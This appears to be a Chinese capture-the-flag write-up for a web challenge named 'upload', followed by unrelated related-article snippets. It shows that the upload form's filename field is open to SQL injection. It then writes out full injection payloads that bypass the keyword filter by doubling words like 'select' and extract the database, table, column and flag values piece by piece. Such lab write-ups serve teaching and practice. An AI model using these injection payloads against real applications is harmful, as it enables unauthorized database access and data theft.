攻防世界-web-upload

1. 题目描述

打开链接,是这样的一个注册界面

先试着注册一个账号看看,这里简单操作,注册test/test,注册完后进行登录

登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。

2. 思路分析

既然存在上传,那么大概率上传点存在漏洞,我们先试试随便上传一个php文件

这里提示很明显了,说明存在WAF,对我们的文件拓展名进行了限制

试着修改下文件后缀,这里修改为jpg格式的,提示我们上传成功

既然上传成功了,试着用蚁剑连接下,发现失败,不过也正常,我们不知道文件的存储路径,而且上传的不是php。

除了文件上传外,是否还有其它的思路呢?我们注意到我们输入的文件名进行了回显,这里就可能存在sql注入,我们简单试下

注意到我们传入select关键字时,回显值中已经没有select了,说明被过滤掉了,为什么要过滤select呢?说明这里大概率存在sql注入。

好了,经过简单的验证,虽然说这道题名字取的是文件上传,但是实际上是文件名sql注入。

3. 解题过程

从上面的截图来看,实际上这道题是存在WAF的,因为过滤了select,那么我们首先要考虑的是如何绕过WAF

3.1 绕过WAF的限制

既然存在sql注入,那么select,from等关键字必须存在绕过方法,试了下大小写无法绕过,但是双写可以

试着查看下数据库

发现回显是0,说明这里大概率对回显进行了限制,而且限制了必须为数字,因此我们需要对sql查询语句进行调整,使得查出来的都是数字,这里做法是先转成16进制,再转化为10进制

但是回显后发现变成科学计数法了,因此我们每次只能取一部分字符,这里验证了一下,每次最多只能取12个字符,如果取13个,取出来的值就会变成科学计数法表示。

此时的文件名为:a' +(selecselectt conv(substr(hex(database()), 1, 12), 16, 10))+ '.jpg

然后再将这个十进制转化为字符串,这里使用如下脚本即可

import sys

num = int(sys.argv[1])
# 10进制 -> 16进制
hex_num = hex(num)[2:]

# 16进制 -> 字符串
bytes_data=bytes.fromhex(hex_num)
str=''.join(chr(byte) for byte in bytes_data)
print(str)

执行该脚本,转为的字符串为web_up

这个看上去不全,因此按照上述的步骤获取数据库名的后面的字符(这里注意文件数小于10个,如果超过10个,那么需要注销并重新登录)

继续将文件名设置为a' +(selecselectt conv(substr(hex(database()), 13, 12), 16, 10))+ '.jpg

所以,最终拼接起来,得到的数据库名为web_upload

3.2 重复上述步骤,进一步获取数据库中的其它字段(表名,列名,具体的值)

获取表名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schema='web_upload' limit 1, 1)), 25, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串为:hello_flag_is_here

获取表中字段名的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0, 1)), 13, 12), 16, 10))+ '.jpg

得到结果:

转换为字符串:i_am_flag

最后,查询表中字段值的payload如下:

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10))+ '.jpg

a' +(selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10))+ '.jpg

得到结果:

同样转换成字符串得到flag为:!!_@m_Th.e_F!lag

4. 总结

整体来看,这道题属于一道综合性比较强的题目,虽然是文件上传,但是实际的攻击点在于sql注入,这里是有一点迷惑性的。然后就是针对sql注入,题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点,因此这里还是有一定难度的,不过最终做出来的话也可以积累很多知识,收获很大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/242058.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于FFmpeg,实现播放器功能

一、客户端选择音视频文件 MainActivity package com.anniljing.ffmpegnative;import android.Manifest; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Ur…

sentinel整合nacos配置中心持久化

在网上找了很多的资料,发现sentinel整合nacos持久化的博文和视频大多数都只有改造限流部分的教程,并且都需要修改前端,略显麻烦,至于剩下的熔断、热点流控、授权的更是没有相关的改造教程,最后在知乎的看到一篇文章后让…

表单参数绑定(如何解决一个输入框绑定两个参数)

表单参数绑定(如何解决一个输入框绑定两个参数) 问题复现 <el-form-item label"会议编号" prop"meetingNum"><el-select v-model"form.meetingNum" placeholder"请选择会议编号" style"width: 100%;":disabled&quo…

selenium+python自动化测试 —— 解决无法启动IE浏览器及报错问题!

前言&#xff1a;记录启动IE浏览器的报错及解决方法。 错误1&#xff1a; selenium.common.exceptions.WebDriverException: Message: IEDriverServer.exe executable needs to be in PATH. Please download from http://selenium-release.storage.googleapis.com/index.html…

SQL Server 服务启动报错:错误1069:由于登录失败而无法启动服务

现象 服务器异常关机以后&#xff0c;SQL Server服务无法启动了。 启动服务时报错&#xff1a; 错误1069:由于登录失败而无法启动服务 解决办法 我的电脑–控制面板–管理工具–服务–右键MSSQLSERVER–属性–登录–登陆身份–选择"本地系统帐户" 设置完成后&am…

springboot整合日志框架log4j2

springboot整合日志框架log4j2 前言&#xff1a;springboot提供了默认的日志框架logback&#xff0c;结合slf4j门面&#xff0c;基于简单配置即可实现日志输出记录。但是实际开发中很多项目会使用log4j2&#xff0c;log4j2是log4j的升级版本&#xff0c;性能和安全性上比log4j…

【视觉SLAM十四讲学习笔记】第四讲——指数映射

专栏系列文章如下&#xff1a; 【视觉SLAM十四讲学习笔记】第一讲——SLAM介绍 【视觉SLAM十四讲学习笔记】第二讲——初识SLAM 【视觉SLAM十四讲学习笔记】第三讲——旋转矩阵 【视觉SLAM十四讲学习笔记】第三讲——旋转向量和欧拉角 【视觉SLAM十四讲学习笔记】第三讲——四元…

ffmpeg编解码——数据包(packet)概念(如何正确处理数据包中的显示时间戳pts与解码时间戳dts关系?)

文章目录 FFmpeg编解码——数据包&#xff08;Packet&#xff09;概念1. 数据包&#xff08;Packet&#xff09;简介2. 数据包&#xff08;Packet&#xff09;在FFmpeg中的应用2.1 从媒体文件读取数据包2.2 向媒体文件写入数据包 3. 数据包&#xff08;Packet&#xff09;相关问…

C语言指针基础题(二)

目录 例题一题目解析及答案 例题二题目解析及答案 例题三题目解析及答案 例题四题目解析及答案 例题五题目解析及答案 感谢各位大佬对我的支持,如果我的文章对你有用,欢迎点击以下链接 &#x1f412;&#x1f412;&#x1f412; 个人主页 &#x1f978;&#x1f978;&#x1f…

使用Microsoft Dynamics AX 2012 - 8. 财务管理

财务管理的主要职责是控制和分析与货币金额有关的所有交易。这些事务发生在整个组织的业务流程中。 因此&#xff0c;财务管理是企业管理解决方案的核心领域。在Dynamics AX中&#xff0c;支持所有部门业务流程的应用程序的深度集成可立即提供准确的财务数据。 分类账交易的原…

SQL小技巧3:分层汇总

前几天&#xff0c;QQ学习群有个小伙伴问我一个使用SQL分层汇总的问题。 今天正好分享下。 需求描述 在数据报表开发的工作中&#xff0c;经常会遇到需要对数据进行分组汇总的情况。 假设有一个销售数据表sales&#xff0c;包含列region&#xff08;地区&#xff09;、mont…

验收支撑-软件项目验收计划书

软件项目验收计划的作用主要有以下几点&#xff1a; 确保项目质量&#xff1a;通过项目验收&#xff0c;客户或相关方可以对项目的成果进行全面、系统的评估&#xff0c;以确保项目达到预期的质量标准。发现和解决问题&#xff1a;在项目开发过程中&#xff0c;难免会存在一些问…

SpringBoot程序打包失败处理

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开心好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…

产品入门第三讲:Axure产品流程图绘制

&#x1f4da;&#x1f4da; &#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​​​​​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《Axure》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还…

AE (3)_主观亮度和对比度调试

#灵感# 画面的亮度、对比度是最直接&#xff0c;观看者最先获得的感受。所以有必要花时间认真调整。 ------哈哈&#xff0c;虽然调试的时间其实不如磨清晰度多。 目录 举个图例&#xff1a; 三个参数AE、gamma、LTM&#xff1a; 调试顺序&#xff1a; 举个图例&#xff1…

【Hadoop_06】MapReduce的概述与wc案例

1、MapReduce概述1.1 MapReduce定义1.2 MapReduce优点1.3 MapReduce缺点1.4 MapReduce核心思想1.5 MapReduce进程1.6 常用数据序列化类型1.7 源码与MapReduce编程规范 2、WordCount案例实操2.1 本地测试2.2 提交到集群测试 1、MapReduce概述 1.1 MapReduce定义 MapReduce是一…

WhatsApp获客怎么做?教你五个技巧!

随着全球通信的普及&#xff0c;WhatsApp已经成为人们日常生活中不可或缺的沟通工具&#xff0c;对于跨境电商和外贸企业来说&#xff0c;利用WhatsApp进行获客同样具有巨大的潜力。 那么&#xff0c;如何有效地在WhatsApp上获取客户呢?接下来&#xff0c;我们将为你介绍五个…

Linux系统解决“Key was rejected by service”

Linux系统下加载驱动模块出现如上错误提示的原因为&#xff1a;此驱动未经过签名。 方法一、关闭Secure Boot 如果是物理机&#xff0c;需要开机进入BIOS&#xff0c;找到“Secure Boot”的选项&#xff0c;然后关闭。 如果是虚拟机&#xff0c;可以打开虚拟设置&#xff0c…

物联网与低代码:构建智能化的连接世界

物联网&#xff08;IoT&#xff09;是指通过互联网将各种物理设备、传感器、车辆等连接起来&#xff0c;从而实现数据交互和智能化控制的技术领域。而低代码开发平台则是一种快速构建应用程序的方法&#xff0c;通过简化开发过程&#xff0c;使开发人员能够更迅速地实现创意和创…

Nginx【通俗易懂】《中篇》

目录 1.Url重写rewrite 2.防盗链 3.静态资源压缩 4.跨域问题 1.Url重写rewrite &#x1f929;&#x1f929;&#x1f929; 1.1.rewrite书写格式 rewrite是实现URL重写的关键指令&#xff0c;根据regex&#xff08;正则表达式&#xff09;部分内容&#xff0c;重定向到rep…